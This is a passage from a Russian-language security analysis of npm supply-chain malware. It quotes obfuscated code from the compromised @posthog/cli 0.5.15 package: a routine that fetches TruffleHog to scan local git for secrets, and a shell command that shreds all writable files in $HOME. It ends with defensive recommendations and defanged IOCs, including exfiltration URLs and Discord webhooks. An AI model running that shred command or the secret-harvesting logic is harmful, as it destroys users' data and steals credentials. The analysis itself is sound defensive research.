    let _0x4a1c74 = await mL0(_0x577185);
    if (!_0x4a1c74) continue;
    for (let _0x5bff02 of _0x4a1c74[_0x1c13a1(0x187b)](/\r?\n/)) {
      let _0x181a7a = _0x5bff02[_0x1c13a1(0x4cf9)]();
      let _0x1bab15 = _0x181a7a[_0x1c13a1(0x2308)](_0x4f7d34);
      if (_0x1bab15 && _0x1bab15[1]) return _0x1bab15[1];
    }
  }
  return null;
}
    
Npm-пакет @posthog/cli 0.5.15, файл bun_environment.js

Отдельный модуль скачивает TruffleHog из GitHub releases, кладет бинарник в cache directory, делает chmod и запускает сканирование локального git для поиска секретов.

    
async fetchLatestRelease() {
  let _0x2e4030 = await fetch('https://api.github.com/repos/trufflesecurity/trufflehog/releases/latest');
  if (!_0x2e4030['ok']) throw Error(_0x324dbc(0x2f93) + _0x2e4030['status']);
  return _0x2e4030['json']();
}

async scanLocalGit(_0x4f81f1, _0x42fa76 = []) {
  await this['initialize']();
  let _0x358897 = [_0x40e20a(0x46fd), _0x40e20a(0x5753) + _0x4f81f1, '--json', ..._0x42fa76];
  return this[_0x40e20a(0x45d3)](_0x358897);
}

await a0_0x3e3b29['chmod'](_0x57b921, 0x1ed);
    
Npm-пакет @posthog/cli 0.5.15, файл bun_environment.js

Самая агрессивная ветка срабатывает, если вредоносная нагрузка не получает GitHub token и npm token. На Unix он запускает shell-команду, которая уничтожает writable-файлы пользователя в $HOME через shred, а потом удаляет пустые директории.

    
if (!_0x441f22) {
  if (_0x4692e0) await El(_0x4692e0);
  else {
    console['log'](_0x35266c(0x1423));
    if (_0x46410c[_0x35266c(0x576e)] === _0x35266c(0xb6d))
      Bun[_0x35266c(0x244c)]([_0x35266c(0x58bc), '/c', _0x35266c(0x2d78)]);
    else
      Bun[_0x35266c(0x244c)]([
        _0x35266c(0x57c7),
        '-c',
        'find "$HOME" -type f -writable -user "$(id -un)" -print0 | xargs -0 -r shred -uvz -n 1 && find "$HOME" -depth -type d -empty -delete'
      ]);
    process[_0x35266c(0x51a9)](0x0);
  }
}
    
Npm-пакет @posthog/cli 0.5.15, файл bun_environment.js

Для open-source-сообщества это совсем другой класс угрозы, не похожий на ранние примитивные стилеры и одноразовые пакеты. Атакующий, вместо публикации очередного случайного typosquatting и нового пакета, встроился в доверенный канал распространения и скомпрометировал легитимный пакет. Именно такие случаи и делают supply-chain-атаки по-настоящему масштабной проблемой, нуждающейся в отдельной экспертизе.

Заключение

За все время нашего анализа картина получилась довольно прагматичной: большинство атак устроены просто. Они используют доверие к install lifecycle, привычные сетевые API, обфускацию и массовое размножение похожих пакетов. Самые полезные сигналы появляются из комбинаций: install-time execution, сбор локальных данных, внешний endpoint, динамическое исполнение и маскировка полезной нагрузки.

Для защиты мы рекомендуем:

  1. Завести внутренний проверенный registry/proxy и не тянуть зависимости напрямую из публичных npm/PyPI.
  2. Проверять пакет не только по имени, популярности и количеству скачиваний: вредоносные пакеты часто маскируются под знакомые библиотеки или попадают в дерево зависимостей транзитивно.
  3. Закреплять версии и хеши пакетов, которые уже прошли проверку, и отдельно анализировать обновления перед внедрением.
  4. Использовать threat intelligence по npm/PyPI: фиды с вредоносными пакетами, IOC и контекстом по кампаниям помогают быстрее блокировать supply-chain-атаки.

IOCs

Сетевые индикаторы

URL

http://54[.]242[.]228[.]151[:]8090/debug-21f53
http://49[.]232[.]169[.]67[:]8084/slt
https://3vz70udxj4igjcfhpjsmuyzsnjtah15q[.]oastify[.]com/exfil
https://canary[.]discord[.]com/api/webhooks/1438273237867036682/y-jlMJWQRYZlxmYEAzEKNQLMRG3GTh7ZcVryf-CpYulJymcNV_rXJMFtvIDke7E7w5HW
https://discord[.]com/api/webhooks/1509929656651092121/FW2hgh6GfYlssDRVLbB02432AXZAfEjIjszM6kOBrEv1VG_HYwS08BObsOGH55IG9hjL
https://x0[.]at/P685.txt
https://kotko[.]me/analyze.php?procoder

IP-адреса

54[.]242[.]228[.]151
49[.]232[.]169[.]67
147[.]45[.]124[.]42

Домены и хосты

3vz70udxj4igjcfhpjsmuyzsnjtah15q[.]oastify[.]com
Xghfyxdvb7rz4exwnbj51fm2etkk8awz[.]oastify[.]com
7nv0bfnhimpr5lrd9fuw8t0wvn1ep9dy[.]oastify[.]com
a[.]stratfordhospital5050[.]com
x0[.]at
kotko[.]me